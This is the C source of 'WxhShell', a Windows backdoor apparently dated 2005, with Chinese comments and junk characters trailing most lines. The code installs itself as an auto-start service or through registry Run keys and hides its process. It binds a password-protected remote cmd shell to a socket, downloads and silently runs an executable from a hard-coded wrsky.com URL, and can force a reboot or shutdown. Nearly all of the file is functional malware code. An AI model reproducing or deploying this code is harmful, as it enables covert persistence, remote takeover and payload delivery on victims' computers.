    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5l /EZ\q  
    else { w;DRC5V>  
    closesocket(wsh); }Lb[`H,}A  
    ExitThread(0); ~i9'9PHX@  
    } `^CIOCK%  
    break; N ._&\fHY  
    } b~EA&dc  
  // 获取shell {edjvPlk  
  case 's': { kiR+ Dsl  
    CmdShell(wsh); aL0,=g%  
    closesocket(wsh); <.c#l':  
    ExitThread(0); 8s<t* pI2  
    break; QR{pph*zn-  
  } %D<>F&h  
  // 退出 {wVJv1*l  
  case 'x': { &/]g@^h9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )p+6yH  
    CloseIt(wsh); \m3ca-Y  
    break; 0r'<aA`=I  
    } aiwKkf`\  
  // 离开 J4^aD;j  
  case 'q': { ^@AIXBe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]c$)0O\O  
    closesocket(wsh); ;{K/W.R  
    WSACleanup(); A@#D_[~  
    exit(1); nG !6[^D  
    break; }SBpc{ch  
        } ^@n?&  
  } o" e]9{+<  
  } Yuqt=\? #  
fg0zD:@rA  
  // 提示信息 )2y# cM*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xe!6Pgcb  
} =S}SZYw l  
  } /.%AE|0+X  
4lpkq  
  return; s&~i S[  
} -}Q^A_xK  
qK12:  
// shell模块句柄 je^=gnq  
int CmdShell(SOCKET sock) 8k -l`O~  
{ ^Jdji:  
STARTUPINFO si; vSG$ 2g=  
ZeroMemory(&si,sizeof(si)); )l"py9STF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?'r=>'6D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |$a!Zx94^  
PROCESS_INFORMATION ProcessInfo; H m Z*  
char cmdline[]="cmd"; QcG-/_,'}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }2~$"L,_  
  return 0; =^S1+B MY-  
} w{5v*SHl}`  
%XAF"J  
// 自身启动模式  Oa/#2C~  
int StartFromService(void) sAfNu~d  
{ Y>2kOE  
typedef struct )xj!7:n)  
{  ]pP:  
  DWORD ExitStatus; UKBaGX:v  
  DWORD PebBaseAddress; &5o ln@YL  
  DWORD AffinityMask; LyA}Nd]pyq  
  DWORD BasePriority; o!>h Q#h  
  ULONG UniqueProcessId; ^ woCwW8n  
  ULONG InheritedFromUniqueProcessId; tunjV1 ,]  
}   PROCESS_BASIC_INFORMATION; 86 <[!ZM  
-"MB(`  
PROCNTQSIP NtQueryInformationProcess; }0z]sYI  
t }q \.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AI\|8[kf0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Fl0 :Z  
T+U,?2nF:  
  HANDLE             hProcess; >,)tRQS  
  PROCESS_BASIC_INFORMATION pbi; N=@Nn)  
A~MIFr/8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ym.:I@b?6  
  if(NULL == hInst ) return 0; lD\vq2  
ud,=O X q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t,vj)|:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S1D=' k]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 65||]l  
WXX)_L$2  
  if (!NtQueryInformationProcess) return 0; TZYz`l+v  
l0-zu6i w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mel(C1b"j/  
  if(!hProcess) return 0; t2 0Es  
$K}Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -N~eb^3[c  
:#&Y  
  CloseHandle(hProcess); ;>Q.r{P  
8-cCWo c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZI/Ia$O  
if(hProcess==NULL) return 0; 0\2#(^  
T5b*Ia  
HMODULE hMod; S @[B?sNj  
char procName[255]; 6 r}R%{  
unsigned long cbNeeded; \4 5%K|  
|VxO ,[~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s%l`XW;v  
5`H.{4@  
  CloseHandle(hProcess); !H/5Ud9  
bIP%xl Vp  
if(strstr(procName,"services")) return 1; // 以服务启动 $:D-dUr1  
rI.CCPY~s  
  return 0; // 注册表启动 HyKv5S$  
} [) S&PK  
MWZH-aA(.  
// 主模块 y|(C L^(  
int StartWxhshell(LPSTR lpCmdLine) eB,eu4+-  
{ T\b-<Xle  
  SOCKET wsl; h<I C d'!  
BOOL val=TRUE; U,2H) {l/  
  int port=0; (&^k''f  
  struct sockaddr_in door; ;N;['xcx;  
T>qI,BEY  
  if(wscfg.ws_autoins) Install(); +o[- ED  
Bq4^nDK  
port=atoi(lpCmdLine); g886RhCe  
I("lGY  
if(port<=0) port=wscfg.ws_port; g ;To}0H  
q@0g KC&U  
  WSADATA data; *j"u~ N F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FQW{c3%qZ  
*p Q'w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Vnvfu!>(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @=G6fW:  
  door.sin_family = AF_INET; qnCJrY6]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5nSi29C  
  door.sin_port = htons(port); x}B_;&>&"_  
>3&Oe  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?@YABl  
closesocket(wsl); S?K x:]  
return 1; $$f89, h  
} 5eJMu=UpR  
09L"~:rg  
  if(listen(wsl,2) == INVALID_SOCKET) { Q$XNs%7w5,  
closesocket(wsl); (N 0kTi]b  
return 1; gof'NT\c  
} %&Q9WMo  
  Wxhshell(wsl); U+2U#v=<  
  WSACleanup(); -gK*&n~  
vn5O8sD  
return 0; odaCKhdk  
L2<IG)oXU  
} <2,NWn.  
<7 R+p;y  
// 以NT服务方式启动 ayK?\srw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q\]"}M 8  
{ vn(ji=  
DWORD   status = 0; }Md5a%s<  
  DWORD   specificError = 0xfffffff; fs,]%g^  
jhF&   
  serviceStatus.dwServiceType     = SERVICE_WIN32; X5w_ }Nhe  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Wv7hY"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iPeW;=-2Wk  
  serviceStatus.dwWin32ExitCode     = 0; [8v>jQ)  
  serviceStatus.dwServiceSpecificExitCode = 0; Um2RLM%  
  serviceStatus.dwCheckPoint       = 0; +]dh`8*8>1  
  serviceStatus.dwWaitHint       = 0; H&_drxUq;L  
G%FLt[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S\"#E:A  
  if (hServiceStatusHandle==0) return; ]21`x  
Ehw2o-s^  
status = GetLastError(); !LAC_ b  
  if (status!=NO_ERROR) ^sqTgrG  
{ J_`a}ox  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; aPR XK1  
    serviceStatus.dwCheckPoint       = 0; )~2~q7  
    serviceStatus.dwWaitHint       = 0; 7GG:1:2+>  
    serviceStatus.dwWin32ExitCode     = status; >O$ JS,  
    serviceStatus.dwServiceSpecificExitCode = specificError; y)*W!]:7^>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]TX"BH"2  
    return; 3)0z(30  
  } gUWW}*\ U  
E - +t[W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?(R !BB  
  serviceStatus.dwCheckPoint       = 0; A!uO7".E  
  serviceStatus.dwWaitHint       = 0; VqL#w<A %  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "J"RH:$v  
} {v>8Kp7_R  
GJTakhj3  
// 处理NT服务事件,比如:启动、停止 `W9~u: F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f[fH1cu&`  
{ Kv ~'*A)d  
switch(fdwControl) Ls6C*<8  
{ ;>*Pwz`~jT  
case SERVICE_CONTROL_STOP: x +]ek  
  serviceStatus.dwWin32ExitCode = 0; =Vat2'>+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /mG-g%gE  
  serviceStatus.dwCheckPoint   = 0; u ?7^+z  
  serviceStatus.dwWaitHint     = 0; G<M9 6V  
  { I#UL nSJ3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F_.1^XM  
  } des.TSZ  
  return; 9!?Ywc>0#  
case SERVICE_CONTROL_PAUSE: 7xh91EU:4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U%r|hn3  
  break; !%Bhg?  
case SERVICE_CONTROL_CONTINUE: <i~=-Z(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !D|c2  
  break; 6]NaP_\0  
case SERVICE_CONTROL_INTERROGATE: rd1EA|T  
  break; z2~\ b3G  
}; ?<efKs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -Dy":/Bk  
} +F]=Z  
>qS2ha  
// 标准应用程序主函数 >UnLq:G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]O&\Pn0q  
{ 3Pgld*i7  
^y.|KA3[  
// 获取操作系统版本 !S#K6:  
OsIsNt=GetOsVer(); L};P*{q2Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); au#/Q  
wK!7mZ  
  // 从命令行安装 h!J|4Q a  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ejt?B')aB5  
A_g\Fa[jG  
  // 下载执行文件 lS{ ^*(a  
if(wscfg.ws_downexe) { >XPR)&t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ? J/NYV  
  WinExec(wscfg.ws_filenam,SW_HIDE); ok1-`c P  
} !:c_i,N  
>ud u~  
if(!OsIsNt) { 7G=Q9^J.H  
// 如果时win9x,隐藏进程并且设置为注册表启动 ijACfl{!:t  
HideProc(); +:3s f%0  
StartWxhshell(lpCmdLine); :_[pZ;-@  
} y*e({fio_  
else sL], @z8<k  
  if(StartFromService()) {RN-rF3w  
  // 以服务方式启动 sB0m^Y'  
  StartServiceCtrlDispatcher(DispatchTable); JH._/I  
else 3}5Ya\x  
  // 普通方式启动 WI1DL&*B@<  
  StartWxhshell(lpCmdLine); snP]&l+  
d+p^fBz  
return 0; Yy0U2N [i  
} XwIhD  
zNM*xPgS  
-ND1+`yD  
j [4l'8Ek  
=========================================== 49=L9:  
)Lg~2]'?j  
#<d'=R[ AK  
e)$a;6  
{wD:!\5  
X7txAp.  
" -`D<OSt7  
{Ga=; 0  
#include <stdio.h> F_@?'#m  
#include <string.h> @<koL  
#include <windows.h> [I gqK5@  
#include <winsock2.h> O~|Y#T  
#include <winsvc.h> +5Ju `Z  
#include <urlmon.h> K"zRj L+  
@M6F?;  
#pragma comment (lib, "Ws2_32.lib") Y+eDE:4  
#pragma comment (lib, "urlmon.lib") j!"5, ~  
qW S"I+o,S  
#define MAX_USER   100 // 最大客户端连接数  v> s,*  
#define BUF_SOCK   200 // sock buffer Bm;: cmB0e  
#define KEY_BUFF   255 // 输入 buffer .:O($9^Ho  
vXg^K}a#  
#define REBOOT     0   // 重启 6!H,(Z]j  
#define SHUTDOWN   1   // 关机 sF3@7~m4  
e.W<pI,  
#define DEF_PORT   5000 // 监听端口 , [<$X{9  
thz[h5C?C  
#define REG_LEN     16   // 注册表键长度 Zr(eH2}0D  
#define SVC_LEN     80   // NT服务名长度 izu_1X  
rdsZ[ii  
// 从dll定义API @sUec  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v6ei47-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n<1*cL:8B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :3{n(~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F`1J&S;C  
39L_O RMH  
// wxhshell配置信息 o5:md :\  
struct WSCFG { `VF_rC[?  
  int ws_port;         // 监听端口 sQ+s3x1y  
  char ws_passstr[REG_LEN]; // 口令 ]|u7P{Z"R  
  int ws_autoins;       // 安装标记, 1=yes 0=no IaK J W?  
  char ws_regname[REG_LEN]; // 注册表键名 dptfIBYc+  
  char ws_svcname[REG_LEN]; // 服务名 H;0K4|I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WJ,?5#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \-sW>LIA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O* lE0~rJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <[$a7l i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cj[x%eK>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >!%+9@a}  
S(/ ^_Y  
};  ^Vf@J  
{R"mvB`  
// default Wxhshell configuration pH(X;OC 9S  
struct WSCFG wscfg={DEF_PORT, pE%*r@p4&4  
    "xuhuanlingzhe", EMpq+LrN  
    1, =RZ PDu  
    "Wxhshell", JJ'f\f9  
    "Wxhshell", HD3WsIim*  
            "WxhShell Service", ;+bF4r@:+  
    "Wrsky Windows CmdShell Service", XN{WxcZ  
    "Please Input Your Password: ", ym_as8A*Q  
  1, hQ@#h`lS  
  "http://www.wrsky.com/wxhshell.exe", Db  !8N  
  "Wxhshell.exe" O*Y?: t  
    }; j<`3xd'  
X|D-[|P  
// 消息定义模块 ,*YmXR-"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1Oq VV?oz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <L<^uFB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q*tGlM@R?  
char *msg_ws_ext="\n\rExit."; %I{>H%CjE  
char *msg_ws_end="\n\rQuit."; mU"Am0Bdjq  
char *msg_ws_boot="\n\rReboot..."; m*YfbOhs#  
char *msg_ws_poff="\n\rShutdown..."; \3"B$Sp|=  
char *msg_ws_down="\n\rSave to "; kR:kn:  
 \m+=|  
char *msg_ws_err="\n\rErr!"; #`!mQSK  
char *msg_ws_ok="\n\rOK!"; agE-,  
|=KzQY|u  
char ExeFile[MAX_PATH]; f=VlO d  
int nUser = 0; 6 EfBz  
HANDLE handles[MAX_USER]; :RxMZwa=  
int OsIsNt; s:_a.4&Y  
g$zGiqzMK  
SERVICE_STATUS       serviceStatus; H=w):kL|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vVIN D  
J*Ie# :J]  
// 函数声明 +6$ -"lf  
int Install(void); sjb.Ezoq3  
int Uninstall(void); o`!#io  
int DownloadFile(char *sURL, SOCKET wsh); |"S#uJW  
int Boot(int flag); m{$}u@a  
void HideProc(void); TU58  
int GetOsVer(void); 87W!R<G  
int Wxhshell(SOCKET wsl); D~Ef%!&  
void TalkWithClient(void *cs); pzoh9}bue  
int CmdShell(SOCKET sock); e6mm;@F>  
int StartFromService(void); mBb3Ta  
int StartWxhshell(LPSTR lpCmdLine);  +a%D+  
|yz o|%]3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 60 cQ3.e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]$ Nhy8-  
<2L,+  
// 数据结构和表定义 fA]sPh4Uag  
SERVICE_TABLE_ENTRY DispatchTable[] = "I:*  
{ i+_=7(e  
{wscfg.ws_svcname, NTServiceMain}, [CfZE  
{NULL, NULL} BDzAmrO<  
}; sD2,!/'  
_`O",Ff  
// 自我安装 B$YoglEW:  
int Install(void) >~]|o   
{ <|.]$QSi  
  char svExeFile[MAX_PATH]; K*2s-,b *  
  HKEY key; X }i2qv  
  strcpy(svExeFile,ExeFile); 5Phsh  
i2rSP$j  
// 如果是win9x系统,修改注册表设为自启动 (*=>YE'V{  
if(!OsIsNt) { zPybP E8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =nc;~u|]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T3<1{"&  
  RegCloseKey(key); 4c{j9mh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GnUD<P=I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P0(LdZH6u  
  RegCloseKey(key); tU2#Z=a  
  return 0; zVf79UrK  
    } "S6";G^I  
  } d4ld-y  
} tKcC{  
else { }CMGK{  
K1A<m=If  
// 如果是NT以上系统,安装为系统服务 tP*GYWI48  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <2%9O;bV[  
if (schSCManager!=0) F[%k ;aJ  
{ D29Lu(f  
  SC_HANDLE schService = CreateService `''y,{Fs  
  ( }uC]o@/  
  schSCManager, 3.hFYA w  
  wscfg.ws_svcname, ^BRqsVw9  
  wscfg.ws_svcdisp, SCe$v76p#  
  SERVICE_ALL_ACCESS, r-xP 6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lw}7kp4 2F  
  SERVICE_AUTO_START, E R~RBzp  
  SERVICE_ERROR_NORMAL, G~bDl:k`A  
  svExeFile, O CIoY?a  
  NULL, yocFdI  
  NULL, 4e eh+T  
  NULL, 3(|,:"9g  
  NULL, $N}t)iA  
  NULL YEaT_zWG0  
  ); _h  \L6.  
  if (schService!=0) H lM7^3(&  
  { }2e s"  
  CloseServiceHandle(schService); cuumQQ  
  CloseServiceHandle(schSCManager); rO.[/#p\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]Q0bL  
  strcat(svExeFile,wscfg.ws_svcname); %xG<hNw/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  <)~-]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U9^1 A*  
  RegCloseKey(key); @R%qP>_  
  return 0; tJ6Q7 J;n  
    } -P|claO0  
  } f~Pce||e  
  CloseServiceHandle(schSCManager); TI l 'Z7  
} ENr#3+m$;  
} o3|4PAA/  
pg7~%E4  
return 1; y9/nkF1p  
} 3Og}_  
tA< UkPT  
// 自我卸载 \<`oW>  
int Uninstall(void) BgUp~zdo  
{ (t V T&eO  
  HKEY key; u=W[ S)w  
[?9 `x-Q  
if(!OsIsNt) { %dW ;P[0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l-v m`-_#  
  RegDeleteValue(key,wscfg.ws_regname); n-jPb064  
  RegCloseKey(key); aN0 7\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wL, -"  
  RegDeleteValue(key,wscfg.ws_regname); > K,QP<B  
  RegCloseKey(key); %!nN<%  
  return 0; 9oGcbD4*  
  } XL aD#J  
} ]jVE  
} 4XER 7c  
else { bsU$$;  
KU(BY}/ ^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =gR/ t@Ld  
if (schSCManager!=0) 0ElEaH1z  
{ .|go$}Fk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0wVM% Dng  
  if (schService!=0) 9XDSL[[  
  { #CI0G  
  if(DeleteService(schService)!=0) { Wj|W B*B  
  CloseServiceHandle(schService); ZpOME@9,  
  CloseServiceHandle(schSCManager); _,(s  
  return 0; (T pnJq  
  } 62'9lriQ  
  CloseServiceHandle(schService); o jxK8_kl  
  } >5kz#|@P  
  CloseServiceHandle(schSCManager); N_B^k8j  
} + <E zv  
} NI,>$@{  
><"|>(y  
return 1; ."BXA8c;A  
} }MMKOr(  
^8 ,prxaok  
// 从指定url下载文件 \rUKP""m  
int DownloadFile(char *sURL, SOCKET wsh) Lm`-q(!7w  
{ [DeDU:  
  HRESULT hr; Et }%)M  
char seps[]= "/"; _)= e`9%  
char *token; ub>:dNBN  
char *file; e4Ibj/  
char myURL[MAX_PATH]; ySiZ@i4  
char myFILE[MAX_PATH]; 9RJ#zUK  
o*7NyiJ@z  
strcpy(myURL,sURL); xL.m<XDL  
  token=strtok(myURL,seps); VV$#<D<)  
  while(token!=NULL) 6g#yzex  
  { U.~G{H`G,u  
    file=token; QbHX.:C  
  token=strtok(NULL,seps); )O+Zbn  
  } o@360#njF  
#=y)Wuo=  
GetCurrentDirectory(MAX_PATH,myFILE); <aaT,J8%[  
strcat(myFILE, "\\"); fCY??su*   
strcat(myFILE, file); S`  U,  
  send(wsh,myFILE,strlen(myFILE),0); 0 !%G #~th  
send(wsh,"...",3,0); -U$;\1--  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I`IW^eZM  
  if(hr==S_OK) .Y7Kd+)s)L  
return 0; N\tFK*U^I  
else DS%]7,g]  
return 1; ]CcRI|g}  
OYWHiXE6]  
} l{^s4  
^vSSG5  :  
// 系统电源模块 5o4KV?"  
int Boot(int flag) <uFj5.  
{ (m Yi  
  HANDLE hToken; (AjgLNB  
  TOKEN_PRIVILEGES tkp; Z6Mjc/  
( 6zu*H)  
  if(OsIsNt) { 38X{>*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "v0bdaQH3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U&*%KPy`  
    tkp.PrivilegeCount = 1; VR"le&'z"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w1zMY:9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MK Sw  
if(flag==REBOOT) { OUwnVAZZ6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [+A]E,pv]1  
  return 0; C`qV+pV  
} JURu>-i  
else { l9j= ;h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s 8K.A~5 w  
  return 0; F"M/gy  
} [h B$%i]\<  
  } hop| xtai;  
  else { XGe;v~L  
if(flag==REBOOT) { -Mrt%1g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $Q'LDmot  
  return 0; 7KUf,0D  
} v \; /P  
else { 3 .j/D^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RRQv<x  
  return 0; ->IZZ5G<  
} i-wWbZ-  
} x _-V{ k  
T)q Uf H  
return 1; mb3aUFxA;  
} 2PeMt^  
!^NZp%Yd  
// win9x进程隐藏模块 Hiwij,1  
void HideProc(void) =)jo}MB  
{ }|8^+V&  
6~{'\Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "G*$#  
  if ( hKernel != NULL ) 47{5{/B-  
  { {gu3KV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;{R;lF,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !or_CJ8%  
    FreeLibrary(hKernel); dOaCdnd~  
  } e87a9ZPm  
RZnmia  
return; 3gJZlH5IR  
} [%6)  
#M#$2Vt  
// 获取操作系统版本 :p)^+AF"5  
int GetOsVer(void) ,|z zq@fk  
{ Ie _{P&J  
  OSVERSIONINFO winfo; ;;CNr_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %8Y+Df;ax  
  GetVersionEx(&winfo); -U_,RMw~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y1ca=ewFx  
  return 1; }?6;;d#  
  else ;iJxJX\+  
  return 0; Vom,^`}  
} br k*;  
2Ir*}s2{  
// 客户端句柄模块 fJk'5kv  
int Wxhshell(SOCKET wsl) #bG6+"g{=L  
{ b&_Ifx_YF  
  SOCKET wsh; R/E6n &R  
  struct sockaddr_in client; #CyqiOM\*  
  DWORD myID; z`Nss o=  
P&: [pPG  
  while(nUser<MAX_USER) lS p"(&  
{ :1bDkoK  
  int nSize=sizeof(client); vE#8&Zq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?X\.O-=4X  
  if(wsh==INVALID_SOCKET) return 1; H=Cj/jE  
N6+^}2' *)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `pDTjJ  
if(handles[nUser]==0) 9Nv?j=*$  
  closesocket(wsh); X$P(8'[9A  
else [[N${C  
  nUser++; ,BGUIu6  
  } PVljb=8F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tW-[.Y -M,  
w"QZ7EyJ  
  return 0; 4qsxlN>4O  
} 0u( 0*Xl  
*0V'rH)  
// 关闭 socket 61gyx6v  
void CloseIt(SOCKET wsh) DYgB_Iak  
{ uT<<G)v)  
closesocket(wsh); Wy-y-wi:p  
nUser--; ;<b7kepR  
ExitThread(0); C#)T$wl[E  
} yn<J>e  
^f"|<r  
// 客户端请求句柄 kG}F/GN?  
void TalkWithClient(void *cs) `2x.-  
{ ^rjUye%EK  
5U]@ Y?  
  SOCKET wsh=(SOCKET)cs; 6zNWDUf  
  char pwd[SVC_LEN]; U:c 0s  
  char cmd[KEY_BUFF]; `/!FZh<  
char chr[1]; 7d|1T'  
int i,j; )z4eRs F|  
4UzXTsjM7  
  while (nUser < MAX_USER) { E:A!tu$B  
N{@~(>ee^  
if(wscfg.ws_passstr) { iAXGf V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lHTr7uF(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zh\"sxL  
  //ZeroMemory(pwd,KEY_BUFF); 9v3n4=gc  
      i=0; El :% \hGy  
  while(i<SVC_LEN) { +$2`"%nBG  
m9&%A0  
  // 设置超时 ocUBSK|K)  
  fd_set FdRead; D~M R)z_p~  
  struct timeval TimeOut; T:|p[Xbo  
  FD_ZERO(&FdRead); E:PPb9Kd  
  FD_SET(wsh,&FdRead); OP-{76vE&b  
  TimeOut.tv_sec=8; \6"=`H0}  
  TimeOut.tv_usec=0; eT(X Ri0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Odhr=Hs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B8.}9  
a+a6P5kJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,7k1n{C)  
  pwd=chr[0]; l]&x~K}  
  if(chr[0]==0xd || chr[0]==0xa) { nvNF~)mu  
  pwd=0; + DE/DR:  
  break; V*Xr}FE  
  } )"6"g9A  
  i++; 1cRF0MI  
    } HNj;_S  
fM*?i"j;Y  
  // 如果是非法用户,关闭 socket >dD$GD{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n'JS-  
} FS!)KxC/-  
gm!sLZ!X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8.I3%u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3=} P l,  
{{gt>"D,  
while(1) { T-/3 A%v  
FCKyKn  
  ZeroMemory(cmd,KEY_BUFF); r_ B.b K  
EN}XIa>R  
      // 自动支持客户端 telnet标准   [fo#){3K  
  j=0; v '^}zO  
  while(j<KEY_BUFF) { N`N?1!fM<}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zkqq<  
  cmd[j]=chr[0]; ~ L>M-D4o  
  if(chr[0]==0xa || chr[0]==0xd) { h%4UeL &F  
  cmd[j]=0; ;#0$iE  
  break; D.x8=|;  
  } gNA!)}m\  
  j++; e+4Eiv  
    } Z 5)v  
EYC ZuJxv  
  // 下载文件 EVw{G<  
  if(strstr(cmd,"http://")) { D<<q5gG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Fr; 's(^   
  if(DownloadFile(cmd,wsh)) ZW0\_1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V7p hD3Y  
  else IXR'JZ?fH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |>m'szca4  
  } A,=> |&*  
  else { 1\Pjz Lj  
u^CL }t*  
    switch(cmd[0]) { i1m>|[@k  
  F[!%,-*  
  // 帮助 tm2lxt  
  case '?': { V`W']  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o)7Ot\:E  
    break; `YE= B{q  
  } U,61 3G  
